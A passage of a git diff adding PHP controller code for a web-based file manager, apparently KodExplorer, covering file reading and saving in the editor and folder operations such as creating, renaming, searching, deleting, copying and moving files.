+ $editorConfig=FileCache::load($configFile);
+ }
+
+ $blackTheme = array("ambiance","idle_fingers","monokai","pastel_on_dark","twilight",
+ "solarized_dark","tomorrow_night_blue","tomorrow_night_eighties");
+ if(in_array($editorConfig['theme'],$blackTheme)){
+ $setClass = 'class="code-theme-black"';
+ }
+ $this->assign('editorConfig',json_encode($editorConfig));//获取编辑器配置信息
+ $this->assign('codeThemeBlack',$setClass);//获取编辑器配置信息
+ }
+
+ // 获取文件数据
+ public function fileGet(){
+ if(isset($this->in['fileUrl'])){
+ $pass = $this->config['settingSystem']['systemPassword'];
+ $fileUrl = $this->in['fileUrl'];
+ if(!request_url_safe($fileUrl)){
+ show_json(LNG('url error!'),false);
+ }
+ $urlInfo = parse_url_query($fileUrl);
+ if( isset($urlInfo['fid']) &&
+ strlen(Mcrypt::decode($urlInfo['fid'],$pass)) != 0
+ ){
+ $filepath = Mcrypt::decode($urlInfo['fid'],$pass);
+ $displayName = get_path_this($filepath);
+ if(isset($urlInfo['downFilename'])){
+ $displayName = rawurldecode($urlInfo['downFilename']);
+ }
+ }else{
+ $displayName = rawurldecode($urlInfo['name']);
+ $filepath = $fileUrl.'&accessToken='.access_token_get();
+ }
+ }else{
+ $displayName = rawurldecode($this->in['filename']);
+ $filepath =_DIR($this->in['filename']);
+ if (!file_exists($filepath)){
+ show_json(LNG('not_exists'),false);
+ }
+ if (!path_readable($filepath)){
+ show_json(LNG('no_permission_read_all'),false);
+ }
+ if (filesize($filepath) >= 1024*1024*20){
+ show_json(LNG('edit_too_big'),false);
+ }
+ }
+
+ $fileContents=file_get_contents($filepath);//文件内容
+ //echo $fileContents;exit;
+ if(isset($this->in['charset']) && $this->in['charset']){
+ $charset = strtolower($this->in['charset']);
+ }else{
+ $charset = get_charset($fileContents);
+ }
+ if ($charset !='' &&
+ $charset !='utf-8' &&
+ function_exists("mb_convert_encoding")
+ ){
+ $fileContents = @mb_convert_encoding($fileContents,'utf-8',$charset);
+ }
+ $data = array(
+ 'ext' => get_path_ext($displayName),
+ 'name' => iconv_app(get_path_this($displayName)),
+ 'filename' => $displayName,
+ 'charset' => $charset,
+ 'base64' => true,// 部分防火墙编辑文件误判问题处理
+ 'content' => base64_encode($fileContents)
+ );
+ show_json($data);
+ }
+ public function fileSave(){
+ $fileStr = rawurldecode($this->in['filestr']);
+ $path =_DIR($this->in['path']);
+ if(isset($this->in['create_file']) && !file_exists($path)){//不存在则创建
+ if(!@touch($path)){
+ show_json(LNG('create_error'),false);
+ }
+ }
+ if (!path_writeable($path)) show_json(LNG('no_permission_write_file'),false);
+ //支持二进制文件读写操作(base64方式)
+ if(isset($this->in['base64'])){
+ $fileStr = base64_decode($fileStr);
+ }
+
+ $charset = strtolower($this->in['charset']);
+ if(isset($this->in['charsetSave'])){
+ $charset = strtolower($this->in['charsetSave']);
+ }
+ if ( $charset !='' &&
+ $charset != 'utf-8' &&
+ $charset != 'ascii' &&
+ function_exists("mb_convert_encoding")
+ ) {
+ $fileStr = @mb_convert_encoding($fileStr,$charset,'utf-8');
+ }
+ $fp=fopen($path,'wb');
+ fwrite($fp,$fileStr);
+ fclose($fp);
+ show_json(LNG('save_success'));
+ }
+
+ /*
+ * 获取编辑器配置信息
+ */
+ public function setConfig(){
+ $file = USER.'data/editor_config.php';
+ if (!path_writeable(iconv_system($file))) {//配置不可写
+ show_json(LNG('no_permission_write_file'),false);
+ }
+ $key= $this->in['k'];
+ $value = $this->in['v'];
+ if ($key !='' && $value != '') {
+ $sql=new FileCache($file);
+ $sql->set($key,$value);//没有则添加一条
+ show_json(LNG('setting_success'));
+ }else{
+ show_json(LNG('error'),false);
+ }
+ }
+}
diff --git a/app/controller/explorer.class.php b/app/controller/explorer.class.php
new file mode 100644
index 0000000..2275fb8
--- /dev/null
+++ b/app/controller/explorer.class.php
@@ -0,0 +1,1481 @@
+user = $_SESSION['kodUser'];
+ if (isset($this->in['path'])) {
+ //游客访问别人zip,解压到**目录;入口不检测权限
+ if( ST.'.'.ACT == "explorer.unzip" ){
+ if($this->in['pathTo']){
+ _DIR($this->in['pathTo']);
+ }else{
+ _DIR($this->in['path']);
+ }
+ $GLOBALS['kodPathAuthCheck'] = true;
+ }
+ if( ST.'.'.ACT == "explorer.unzipList" ){
+ $GLOBALS['kodPathAuthCheck'] = true;
+ }
+ $this->path = _DIR($this->in['path']);
+ $this->_checkSystemPath();
+ }
+ }
+ public function index(){
+ $dir = '';
+ if(isset($this->in['path']) && $this->in['path'] !=''){
+ $dir = _DIR_CLEAR($this->in['path']);
+ $dir = rtrim($dir,'/').'/';
+ }
+ $this->assign('dir',$dir);
+ if ($this->config['forceWap']) {
+ $this->display('explorerWap.html');
+ }else{
+ $this->display('index.html');
+ }
+ }
+
+ //system virtual folder;
+ private function _checkSystemPath(){
+ if(!in_array(ACT,array('mkfile','mkdir','search',
+ 'pathCuteDrag','pathCopyDrag','pathPast','fileDownload'))){
+ return;
+ }
+ if( $GLOBALS['kodPathType'] == KOD_USER_SHARE &&
+ !strstr(trim($this->in['path'],'/'),'/')){//分享根目录
+ show_json(LNG('error'),false);
+ }
+ if(in_array($GLOBALS['kodPathType'],array(
+ KOD_USER_FAV,
+ KOD_GROUP_ROOT_ALL,
+ KOD_GROUP_ROOT_SELF
+ )
+ )){
+ show_json(LNG('system_path_not_change'),false);
+ }
+ }
+
+ public function pathInfo(){
+ $infoList = json_decode($this->in['dataArr'],true);
+ if(!$infoList){
+ show_json(LNG('error'),false);
+ }
+ foreach ($infoList as &$val) {
+ $val['path'] = _DIR($val['path']);
+ }
+ $data = path_info_muti($infoList,LNG('time_type_info'));
+ if(!$data){
+ show_json(LNG('not_exists'),false);
+ }
+
+ //属性查看,单个文件则生成临时下载地址。没有权限则不显示
+ if (count($infoList)==1 && $infoList[0]['type']!='folder') {//单个文件
+ $file = $infoList[0]['path'];
+ if( $GLOBALS['isRoot'] ||
+ $GLOBALS['auth']["explorer.fileDownload"]==1 ||
+ isset($this->in['viewPage'])){
+ $data['downloadPath'] = _make_file_proxy($file);
+ }
+ //所在部门,下载权限检测
+ if($GLOBALS['kodPathRoleGroupAuth'] && !$GLOBALS['kodPathRoleGroupAuth']['explorer.fileDownload']){
+ unset($data['downloadPath']);
+ }
+ if($data['size'] < 100*1024|| isset($this->in['getMd5'])){//100kb
+ if($data['size'] <= 1024*1024*100){
+ $data['fileMd5'] = @md5_file($file);
+ }else{
+ $data['fileMd5'] = "---";
+ }
+ }else{
+ $data['fileMd5'] = "...";
+ }
+
+ //获取图片尺寸
+ $ext = get_path_ext($file);
+ if(in_array($ext,array('jpg','gif','png','jpeg','bmp')) ){
+ $size = ImageThumb::imageSize($file);
+ if($size){
+ $data['imageSize'] = $size;
+ }
+ }
+ }
+ $data['path'] = _DIR_OUT($data['path']);
+ show_json($data);
+ }
+
+ public function pathChmod(){
+ $infoList = json_decode($this->in['dataArr'],true);
+ if(!$infoList){
+ show_json(LNG('error'),false);
+ }
+ $mod = octdec('0'.$this->in['mod']);
+ $success=0;$error=0;
+ foreach ($infoList as $val) {
+ $path = _DIR($val['path']);
+ if(chmod_path($path,$mod)){
+ $success++;
+ }else{
+ $error++;
+ }
+ }
+ $state = $error==0?true:false;
+ $info = $success.' success,'.$error.' error';
+ if (count($infoList) == 1 && $error==0) {
+ $info = LNG('success');
+ }
+ show_json($info,$state);
+ }
+
+ public function mkfile(){
+ $tplPath = BASIC_PATH.'static/others/newfile-tpl/';
+ $repeatType = 'skip';
+ if(isset($this->in['repeat_type'])){
+ $repeatType = $this->in['repeat_type'];
+ }
+ $new= rtrim($this->path,'/');
+ $parent = get_path_father($this->path);
+ if(!file_exists($parent)){
+ mk_dir($parent);
+ }
+ $new = get_filename_auto($new,'',$repeatType);//已存在处理 创建副本
+ Hook::trigger("explorer.mkfileBefore",$new);
+ if(@touch($new)){
+ chmod_path($new,DEFAULT_PERRMISSIONS);
+ if (isset($this->in['content'])) {
+ file_put_contents($new,$this->in['content']);
+ }else{
+ $ext = get_path_ext($new);
+ $tplFile = $tplPath.'newfile.'.$ext;
+ if(file_exists($tplFile)){
+ copy_dir($tplFile,$new);
+ }
+ }
+ Hook::trigger("explorer.mkfileAfter",$new);
+ show_json(LNG('create_success'),true,_DIR_OUT(iconv_app($new)) );
+ }else{
+ show_json(LNG('create_error'),false);
+ }
+ }
+
+ public function mkdir(){
+ $repeatType = 'skip';
+ if(isset($this->in['repeat_type'])){
+ $repeatType = $this->in['repeat_type'];
+ }
+ $new = rtrim($this->path,'/');
+ $new = get_filename_auto($new,'',$repeatType);//已存在处理 创建副本
+ if($this->_mkdir($new)){
+ show_json(LNG('create_success'),true,_DIR_OUT(iconv_app($new)) );
+ }else{
+ show_json(LNG('create_error'),false);
+ }
+ }
+
+ private function _mkdir($path){
+ if(!$GLOBALS['isRoot']){
+ //IIS6 解析漏洞 /a.php/2.jpg 得到解析
+ $temp = str_replace('\\','/',$path);
+ if(substr(rtrim($temp,'/'),-4) == '.php'){
+ show_json(LNG('no_permission_ext'),false);
+ }
+ }
+ Hook::trigger("explorer.mkdirBefore",$path);
+ if(mk_dir($path,DEFAULT_PERRMISSIONS)){
+ chmod_path($path,DEFAULT_PERRMISSIONS);
+ Hook::trigger("explorer.mkdirAfter",$path);
+ return true;
+ }
+ return false;
+ }
+
+ public function pathRname(){
+ $rnameTo=_DIR($this->in['rnameTo']);
+ if (file_exists($rnameTo) &&
+ strtolower($rnameTo) !== strtolower($this->path) ) {
+ show_json(LNG('name_isexists'),false);
+ }
+ Hook::trigger("explorer.pathRnameBefore",$this->path,$rnameTo);
+ if(@rename($this->path,$rnameTo)){
+ Hook::trigger("explorer.pathRnameAfter",$this->path,$rnameTo);
+ show_json(LNG('rname_success'),true,_DIR_OUT(iconv_app($rnameTo)) );
+ }else{
+ show_json(LNG('no_permission_write_all'),false);
+ }
+ }
+
+ public function search(){
+ if (!isset($this->in['search'])){
+ show_json(LNG('please_inpute_search_words'),false);
+ }
+
+ $isContent = intval($this->in['is_content']);
+ $isCase = intval($this->in['is_case']);
+ $ext= trim($this->in['ext']);
+ //共享根目录不支持搜索
+ if( $GLOBALS['kodPathType'] == KOD_USER_SHARE &&
+ strstr($this->path,KOD_USER_SHARE)){
+ show_json(LNG('path_cannot_search'),false);
+ }
+
+ Hook::trigger("explorer.searchBefore",$this->path);
+ $list = path_search(
+ $this->path,
+ rawurldecode($this->in['search']),
+ $isContent,$ext,$isCase);
+ show_json(_DIR_OUT($list));
+ }
+
+ public function pathList(){
+ $userPath = $this->in['path'];
+ if ($userPath=="") $userPath='/';
+ $list=$this->_path($this->path);
+
+ //自己的根目录
+ if($this->path== MYHOME || $this->path==HOME){
+ $this->_selfRootLoad($list['folderList']);
+ }
+
+ //群组根目录
+ if( $list['info']['pathType'] == KOD_GROUP_PATH &&
+ !strstr(trim(_DIR_CLEAR($this->in['path']),'/'),'/')
+ ){//自己的根目录
+ $this->_selfGroupLoad($list['folderList']);
+ }
+ $list['userSpace'] = $this->user['config'];
+ show_json($list);
+ }
+
+ public function treeList(){//树结构
+ $app = $this->in['app'];//是否获取文件 传folder|file
+ if (isset($this->in['type']) && $this->in['type']=='init'){
+ $this->_treeInit($app);
+ }
+ //根树目录请求
+ switch(trim(rawurldecode($this->in['path']))){
+ case KOD_USER_FAV:
+ show_json($this->_treeFav(),true);
+ break;
+ case KOD_GROUP_ROOT_SELF:
+ show_json($this->_groupSelf(),true);
+ break;
+ case KOD_GROUP_ROOT_ALL:
+ show_json($this->_groupTree('1'),true);
+ break;
+ default:break;
+ }
+
+ //树目录组处理
+ if ( (isset($this->in['tree_icon']) && $this->in['tree_icon']!='group-public') && //公共目录刷新排除
+ !strstr(trim(rawurldecode($this->in['path']),'/'),'/') &&
+ ($GLOBALS['kodPathType'] == KOD_GROUP_PATH||
+ $GLOBALS['kodPathType'] == KOD_GROUP_SHARE)) {
+ $list = $this->_groupTree($GLOBALS['kodPathId']);
+ show_json($list,true);
+ return;
+ }
+
+ //正常目录
+ $path=_DIR($this->in['path']);
+ if (!path_readable($path)) show_json(LNG('no_permission_read'),false);
+ $listFile = ($app == 'editor'?true:false);//编辑器内列出文件
+ $list=$this->_path($path,$listFile,true);
+ function sortByKey($a, $b){
+ if ($a['name'] == $b['name']) return 0;
+ return ($a['name'] > $b['name']) ? 1 : -1;
+ }
+ usort($list['folderList'], "sortByKey");
+ usort($list['fileList'], "sortByKey");
+ if($path == MYHOME || $path==HOME){//自己的根目录
+ // $this->_selfRootLoad($list['folderList']);
+ }
+ if ($app == 'editor') {
+ $res = array_merge($list['folderList'],$list['fileList']);
+ show_json($res,true);
+ }else{
+ show_json($list['folderList'],true);
+ }
+ }
+
+ //部门根目录
+ private function _selfGroupLoad(&$root){
+ foreach ($root as $key => $value) {
+ if($value['name'] == $GLOBALS['config']['settingSystem']['groupShareFolder']){
+ $root[$key] = array(
+ 'name' => LNG('group_share'),
+ 'menuType' => "menu-folder folder-box",
+ 'ext' => "folder-share",
+ 'isReadable' => true,
+ 'isWriteable' => true,
+
+ 'path' => $value['path'],
+ 'type' => 'folder',
+ 'open' => false,
+ 'isParent' => $value['isParent']
+ );
+ break;
+ }
+ }
+ $root = array_values($root);
+ }
+
+ //用户根目录
+ private function _selfRootLoad(&$root){
+ foreach ($root as $key => $value) {
+ if($value['name'] == 'share'){
+ $root[$key] = array(
+ 'name' => LNG('my_share'),
+ 'menuType' => "menu-tree-user",
+ 'ext' => "folder-share",
+ 'isParent' => true,
+ 'isReadable' => true,
+ 'isWriteable' => true,
+
+ 'path' => KOD_USER_SHARE.':'.$this->user["userID"].'/',
+ 'type' => 'folder',
+ 'open' => false,
+ 'isParent' => false
+ );
+ break;
+ }
+ }
+ $root = array_values($root);
+ //不开启回收站则不显示回收站
+ if($this->config['user']['recycleOpen']=="1"){
+ // $root[] = array(
+ // 'name'=>LNG('recycle'),
+ // 'menuType' =>"menu-recycle-button",
+ // 'ext' =>"recycle",
+ // 'isParent' => true,
+ // 'isReadable' => true,
+ // 'isWriteable' => true,
+
+ // 'path' => KOD_USER_RECYCLE,
+ // 'type' => 'folder',
+ // 'open' => true,
+ // 'isParent' => false
+ // );
+ }
+ }
+
+
+ private function _treeFav(){
+ $checkFile = ($this->in['app'] == 'editor'?true:false);
+ $favData=new FileCache(USER.'data/fav.php');
+ $favList = $favData->get();
+ $fav = array();
+ $GLOBALS['kodPathAuthCheck'] = true;//组权限发生变更。导致访问groupPath 无权限退出问题
+ foreach($favList as $key => $val){
+ $thePath = _DIR($val['path']);
+ $hasChildren = path_haschildren($thePath,$checkFile);
+ if( !isset($val['type'])){
+ $val['type'] = 'folder';
+ }
+ if( in_array($val['type'],array('group'))){
+ $hasChildren = true;
+ }
+ $cell = array(
+ 'name' => $val['name'],
+ 'ext' => isset($val['ext'])?$val['ext']:"",
+ 'menuType' => "menu-tree-fav",
+
+ 'path' => $val['path'],
+ 'type' => $val['type'],
+ 'open' => false,
+ 'isParent' => $hasChildren
+ );
+
+ if( $cell['type'] == 'folder' && $cell['ext'] == "" ){
+ $cell['menuType'] = 'menu-tree-folder-fav';
+ $cell['exists'] = intval(file_exists($thePath));
+ }
+
+ if(isset($val['type']) && $val['type']!='folder'){//icon优化
+ $cell['ext'] = $val['type'];
+ }
+ $fav[] = $cell;
+ }
+ $GLOBALS['kodPathAuthCheck'] = false;
+ return $fav;
+ }
+
+ private function _treeInit($app){
+ if ($app == 'editor' && isset($this->in['project'])) {
+ $listProject = $this->_path(_DIR($this->in['project']),true,true);
+ $project = array_merge($listProject['folderList'],$listProject['fileList']);
+ $treeData = array(
+ array('name'=> get_path_this($this->in['project']),
+ 'children' =>$project,
+ 'menuType' => "menu-tree-root",
+ 'ext' => "folder",
+
+ 'path' => $this->in['project'],
+ 'type' => 'folder',
+ 'open' => true,
+ 'isParent' => count($project)>0?true:false)
+ );
+ show_json($treeData);
+ }
+ $checkFile = ($app == 'editor'?true:false);
+ $fav = $this->_treeFav($app);
+
+ $publicPath = KOD_GROUP_PATH.':1/';
+ $groupRoot = systemGroup::getInfo(1);
+ $groupRootName = LNG('public_path');
+ if($groupRoot && $groupRoot['name'] != 'public'){
+ $groupRootName = $groupRoot['name'];
+ }
+
+ if(systemMember::userAuthGroup(1) == false){
+ $publicPath = KOD_GROUP_SHARE.':1/';//不在公共组则只能读取公共组共享目录
+ }
+ $GLOBALS['kodPathAuthCheck'] = true;
+ $listPublic = $this->_path(_DIR($publicPath),$checkFile,true);
+ if($publicPath == KOD_GROUP_PATH.':1/'){
+ if(!path_group_can_read('1')){
+ $listPublic=array("folderList"=>array(),'fileList'=>array());
+ }
+ }
+ $listRoot = $this->_path(_DIR(MYHOME),$checkFile,true);
+ if ($checkFile) {//编辑器
+ $root = array_merge($listRoot['folderList'],$listRoot['fileList']);
+ $public = array_merge($listPublic['folderList'],$listPublic['fileList']);
+ }else{//文件管理器
+ $root = $listRoot['folderList'];
+ $public = $listPublic['folderList'];
+ //$this->_selfRootLoad($root);//自己的根目录 含有我的共享和回收站
+ }
+
+ $rootIsparent = count($root)>0?true:false;
+ $publicIsparent = count($public)>0?true:false;
+ $treeData = array(
+ 'fav'=>array(
+ 'name' => LNG('fav'),
+ 'ext' => "tree-fav",
+ 'menuType' => "menu-tree-fav-root",
+ 'children' => $fav,
+
+ 'path' => KOD_USER_FAV,
+ 'type' => 'folder',
+ 'open' => true,
+ 'isParent' => count($fav)>0?true:false
+ ),
+ 'myHome'=>array(
+ 'name' => LNG('root_path'),
+ 'menuType' => "menu-tree-root",
+ 'ext' => "tree-self",
+ 'children' => $root,
+
+ 'path' => MYHOME,
+ 'type' => 'folder',
+ 'open' => true,
+ 'isParent' => $rootIsparent
+ ),
+
+ 'public'=>array(
+ 'name' => $groupRootName,
+ 'menuType' => "menu-tree-group-root menu-tree-group-public",
+ 'ext' => "group-public",
+ 'children' => $public,
+
+ 'path' => $publicPath,
+ 'type' => 'folder',
+ 'open' => true,
+ 'isParent' => $publicIsparent
+ ),
+ 'myGroup'=>array(
+ 'name' => LNG('my_kod_group'),//TODO
+ 'menuType' => "menu-tree-group-root",
+ 'ext' => "group-self-root",
+ 'children' => $this->_groupSelf(),
+
+ 'path' => KOD_GROUP_ROOT_SELF,
+ 'type' => 'folder',
+ 'open' => true,
+ 'isParent' => true
+ ),
+ 'group'=>array(
+ 'name' => LNG('kod_group'),
+ 'menuType' => "menu-tree-group-root",
+ 'ext' => "group-root",
+ 'children' => $this->_groupTree('1'),
+
+ 'path' => KOD_GROUP_ROOT_ALL,
+ 'type' => 'folder',
+ 'open' => true,
+ 'isParent' => true
+ ),
+ );
+
+ //编辑器简化树目录
+ if($app == 'editor' || defined("KODFILE")){
+ unset($treeData['myGroup']);
+ unset($treeData['group']);
+ unset($treeData['public']);
+ //管理员,优化编辑器树目录
+ if($GLOBALS['isRoot']==1){
+ $listWeb = $this->_path(_DIR(WEB_ROOT),$checkFile,true);
+ $web = array_merge($listWeb['folderList'],$listWeb['fileList']);
+ $treeData['webroot'] = array(
+ 'name' => get_path_this(WEB_ROOT),
+ 'menuType' => "menu-tree-root",
+ 'ext' => "folder",
+ 'children' => $web,
+
+ 'path' => WEB_ROOT,
+ 'type' => 'folder',
+ 'open' => true,
+ 'isParent' => true
+ );
+ }
+ }
+
+ $result = array();
+ foreach ($treeData as $key => $value) { //为空则不展示
+ if( count($value['children'])<1 &&
+ in_array($key,array('myGroup','group')) ){//'fav'
+ continue;
+ //$value['isParent'] = false;
+ }
+ $result[] = $value;
+ }
+ show_json($result);
+ }
+
+ private function _rootListGroup(){
+ return $this->config['settingSystem']['rootListGroup'] == 1;
+ }
+ private function _rootListUser(){
+ return $this->config['settingSystem']['rootListUser'] == 1;
+ }
+
+ //session记录用户可以管理的组织;继承关系
+ private function _groupTree($nodeId){//获取组织架构的用户和子组织;为空则获取根目录
+ $groupSql = systemGroup::loadData();
+ $groups = $groupSql->get(array('parentID',$nodeId));
+ $groupList = $this->_makeNodeList($groups);
+
+ //根群组不显示子群组
+ if( $nodeId == '1' && !$this->_rootListGroup() ){
+ $groupList = array();
+ }
+ //根群组不显示用户
+ if( $nodeId == '1' || !$this->_rootListUser() ){
+ return $groupList;
+ }
+
+ //user
+ $userList = array();
+ $user = systemMember::userAtGroup($nodeId);
+ foreach($user as $key => $val){
+ $treeIcon = 'user';
+ if ($val['userID'] == $this->user['userID']) {
+ $treeIcon = 'user-self';
+ }
+ $userList[] = array(
+ 'name' => $val['name'].' '.LNG('users_share'),
+ 'menuType' => "menu-tree-user",
+ 'ext' => $treeIcon,
+
+ 'path' => KOD_USER_SHARE.':'.$val['userID'].'/',
+ 'type' => 'folder',
+ 'open' => false,
+ 'isParent' => false
+ );
+ }
+ return array_merge($groupList,$userList);
+ }
+ //session记录用户可以管理的组织;继承关系
+ private function _groupSelf(){//获取组织架构的用户和子组织;为空则获取根目录
+ $groups = array();
+ foreach ($this->user['groupInfo'] as $groupID=>$val){
+ if($groupID=='1') continue;
+ $item = systemGroup::getInfo($groupID);
+ if($item){
+ $groups[] = $item;
+ }
+ }
+ return $this->_makeNodeList($groups);
+ }
+ private function _makeNodeList($list){
+ $groupList = array();
+ if(!is_array($list)){
+ return $groupList;
+ }
+ foreach($list as $key => $val){
+ $groupPath = KOD_GROUP_PATH;
+ $auth = systemMember::userAuthGroup($val['groupID']);
+ $menuGroup = 'menu-tree-group';
+ if($auth==false){//是否为该组内部成员
+ $groupPath = KOD_GROUP_SHARE;
+ $treeIcon = 'group-guest';
+ }else{
+ $treeIcon = 'group-self';
+ $menuGroup .= " menu-tree-group-self";
+ }
+ $hasChildren = true;
+ $userList = array();
+ if( $this->_rootListUser() ){
+ $userList = systemMember::userAtGroup($val['groupID']);
+ }
+ if(count($userList)==0 && $val['children']==''){
+ $hasChildren = false;
+ }
+ $groupList[] = array(
+ 'name' => $val['name'],
+ 'type' => 'folder',
+ 'path' => $groupPath.':'.$val['groupID'].'/',
+ 'ext' => $treeIcon,
+ 'tree_icon' => $treeIcon,//request
+
+ 'menuType' => $menuGroup,
+ 'isParent' => $hasChildren
+ );
+ }
+ return $groupList;
+ }
+ public function pathDelete(){
+ $list = json_decode($this->in['dataArr'],true);
+ $userRecycle = iconv_system(USER_RECYCLE);
+ if (!is_dir($userRecycle)){
+ mk_dir($userRecycle);
+ }
+
+ $removeToRecycle = $this->config['user']['recycleOpen'];
+ if(!path_writeable($userRecycle) ||
+ isset($this->in['shiftDelete'])
+ ){//回收站不可写则直接删除;传入直接删除参数
+ $removeToRecycle = '0';
+ }
+ $success=0;$error=0;
+ foreach ($list as $val) {
+ if(!$val['path'] || $val['path'] == '/'){
+ $error++;
+ continue;
+ }
+ $pathThis = _DIR($val['path']);
+ $GLOBALS['beforePathType'] = $GLOBALS['kodPathType'];
+ $GLOBALS['kodBeforePathId']= $GLOBALS['kodPathId'];
+ //不是自己目录的分享列表,不支持删除
+ if( $GLOBALS['kodPathType'] == KOD_USER_SHARE &&
+ $GLOBALS['kodPathId'] != $_SESSION['kodUser']['userID'] &&
+ substr_count(trim($val['path'],'/'),'/') <= 1){ //分享根项目
+ show_json(LNG('no_permission_write'),false);
+ }
+ if(!path_writeable($pathThis)){
+ $error++;
+ continue;
+ }
+
+ // 群组文件删除,移动到个人回收站。
+ if( $removeToRecycle !="1" ||
+ $GLOBALS['kodPathType'] == KOD_USER_RECYCLE ){//回收站删除 or 共享删除等直接删除
+ Hook::trigger("explorer.pathRemoveBefore",$pathThis);
+ if ($val['type'] == 'folder') {
+ if(del_dir($pathThis)) $success ++;
+ else $error++;
+ }else{
+ if(del_file($pathThis)) $success++;
+ else $error++;
+ }
+ Hook::trigger("explorer.pathRemoveAfter",$pathThis);
+ }else{
+ //重置pathType等数据
+ $GLOBALS['beforePathType'] = KOD_USER_SHARE;
+ $GLOBALS['kodBeforePathId']= $_SESSION['kodUser']['userID'];
+
+ $autoPath = $userRecycle.get_path_this($pathThis);
+ $autoPath = get_filename_auto($autoPath,date('_H-i-s'),'folder_rename');//已存在则追加时间
+ if (move_path($pathThis,$autoPath,'',$this->config['user']['fileRepeat'])) {
+ $success++;
+ Hook::trigger("explorer.pathMoveAfter",$pathThis,$autoPath);
+ }else{
+ $error++;
+ }
+ }
+ }
+ $state = $error==0?true:false;
+ $info = $success.' '.LNG('success').', '.$error.' '.LNG('error');
+ if ($error==0) {
+ $info = LNG('remove_success');
+ }
+ show_json($info,$state);
+ }
+
+ private function _clearTemp(){
+ $path = iconv_system(USER_TEMP);
+ $time = @filemtime($path);
+ if(time() - $time > 600){//10min without updload
+ del_dir($path);
+ mk_dir($path);
+ }
+ }
+
+ public function pathDeleteRecycle(){
+ $userRecycle = iconv_system(USER_RECYCLE);
+ if(!isset($this->in['dataArr'])){
+ Hook::trigger("explorer.pathRemoveBefore",$userRecycle);
+ if (!del_dir($userRecycle)) {
+ Hook::trigger("explorer.pathRemoveAfter",$userRecycle);
+ show_json(LNG('remove_fali'),false);
+ }else{
+ mkdir($userRecycle);
+ $this->_clearTemp();
+ show_json(LNG('recycle_clear_success'),true);
+ }
+ }
+ $list = json_decode($this->in['dataArr'],true);
+ $success = 0;$error = 0;
+ foreach ($list as $val) {
+ $pathFull = _DIR($val['path']);
+ Hook::trigger("explorer.pathRemoveBefore",$pathFull);
+ if ($val['type'] == 'folder') {
+ if(del_dir($pathFull)) $success ++;
+ else $error++;
+ }else{
+ if(del_file($pathFull)) $success++;
+ else $error++;
+ }
+ Hook::trigger("explorer.pathRemoveAfter",$pathFull);
+ }
+ if (count($list) == 1) {
+ if ($success) show_json(LNG('remove_success'));
+ else show_json(LNG('remove_fali'),false);
+ }else{
+ $code = $error==0?true:false;
+ show_json(LNG('remove_success').$success.'success,'.$error.'error',$code);
+ }
+ }
+
+ public function pathCopy(){
+ session_start();//re start
+ $theList = json_decode($this->in['dataArr'],true);
+ foreach ($theList as $key => $value) {
+ _DIR(rawurldecode($value['path']));//检测来源权限
+ }
+ $_SESSION['pathCopy']= json_encode($theList);
+ $_SESSION['pathCopyType']='copy';
+ show_json(LNG('copy_success'));
+ }
+ public function pathCute(){
+ session_start();//re start
+ $theList = json_decode($this->in['dataArr'],true);
+ foreach ($theList as $key => &$value) {
+ $value['path'] = rawurldecode($value['path']);
+ _DIR($value['path']);
+ }
+ $_SESSION['pathCopy']= json_encode($theList);
+ $_SESSION['pathCopyType']='cute';
+ show_json(LNG('cute_success'));
+ }
+ public function pathCuteDrag(){
+ $clipboard = json_decode($this->in['dataArr'],true);
+ $pathPast=$this->path;
+ $GLOBALS['beforePathType'] = $GLOBALS['kodPathType'];
+ $GLOBALS['kodBeforePathId'] = $GLOBALS['kodPathId'];
+
+ if (!path_writeable($this->path)) show_json(LNG('no_permission_write'),false);
+ $success=0;$error=0;$data = array();
+ foreach ($clipboard as $val) {
+ path_can_copy_move($val['path'],$this->in['path']);
+ $pathCopy = _DIR($val['path']);
+ $filename = get_path_this($pathCopy);
+ $autoPath = get_filename_auto($pathPast.$filename,'',$this->config['user']['fileRepeat']);
+
+ Hook::trigger("explorer.pathMoveBefore",$pathCopy,$autoPath);
+ if (move_path($pathCopy,$autoPath,'',$this->config['user']['fileRepeat'])) {
+ $success++;
+ Hook::trigger("explorer.pathMoveAfter",$pathCopy,$autoPath);
+ $data[] = _DIR_OUT(iconv_app($autoPath));
+ }else{
+ $error++;
+ }
+ }
+ $state = $error==0?true:false;
+ $msg = $success.' success,'.$error.' error';
+ if($error == 0){
+ $msg = LNG('success');
+ }
+ show_json($msg,$state,$data);
+ }
+
+ public function pathCopyDrag(){
+ $clipboard = json_decode($this->in['dataArr'],true);
+ $pathPast=$this->path;
+ $GLOBALS['beforePathType'] = $GLOBALS['kodPathType'];
+ $GLOBALS['kodBeforePathId'] = $GLOBALS['kodPathId'];
+
+ if (!path_writeable($this->path)) show_json(LNG('no_permission_write'),false);
+ $success=0;$error=0;$data = array();
+ foreach ($clipboard as $val) {
+ path_can_copy_move($val['path'],$this->in['path']);
+ $pathCopy = _DIR($val['path']);
+ _DIR($this->in['path']);//重置pathType等数据
+ $filename = get_path_this($pathCopy);
+ $autoPath = get_filename_auto($pathPast.$filename,'',$this->config['user']['fileRepeat']);
+ if ($this->in['filename_auto']==1 &&
+ trim($autoPath,'/') == trim($pathCopy,'/')) {
+ $autoPath = get_filename_auto($pathPast.$filename,'','folder_rename');
+ }
+
+ Hook::trigger("explorer.pathCopyBefore",$pathCopy,$autoPath);
+ if(copy_dir($pathCopy,$autoPath)){
+ $success++;
+ Hook::trigger("explorer.pathCopyAfter",$autoPath);
+ $data[] = _DIR_OUT(iconv_app($autoPath));
+ }else{
+ $error++;
+ }
+ }
+ $state = $error==0?true:false;
+ $msg = $success.' success,'.$error.' error';
+ if($error == 0){
+ $msg = LNG('success');
+ }
+ show_json($msg,$state,$data);
+ }
+
+ public function clipboard(){
+ if(isset($this->in['clear'])){
+ session_start();
+ $_SESSION['pathCopy'] = json_encode(array());
+ $_SESSION['pathCopyType'] = '';
+ return;
+ }
+ $clipboard = json_decode($_SESSION['pathCopy'],true);
+ if(!$clipboard){
+ $clipboard = array();
+ }
+ show_json($clipboard,true,$_SESSION['pathCopyType']);
+ }
+ public function pathPast(){
+ if (!isset($_SESSION['pathCopy'])){
+ show_json(LNG('clipboard_null'),false,array());
+ }
+
+ $pathPast=$this->path;//之前就自动处理权限判断;
+ session_start();//re start
+ $error = '';
+ $data = array();
+ $clipboard = json_decode($_SESSION['pathCopy'],true);
+ $copyType = $_SESSION['pathCopyType'];
+ $GLOBALS['beforePathType'] = $GLOBALS['kodPathType'];
+ $GLOBALS['kodBeforePathId'] = $GLOBALS['kodPathId'];
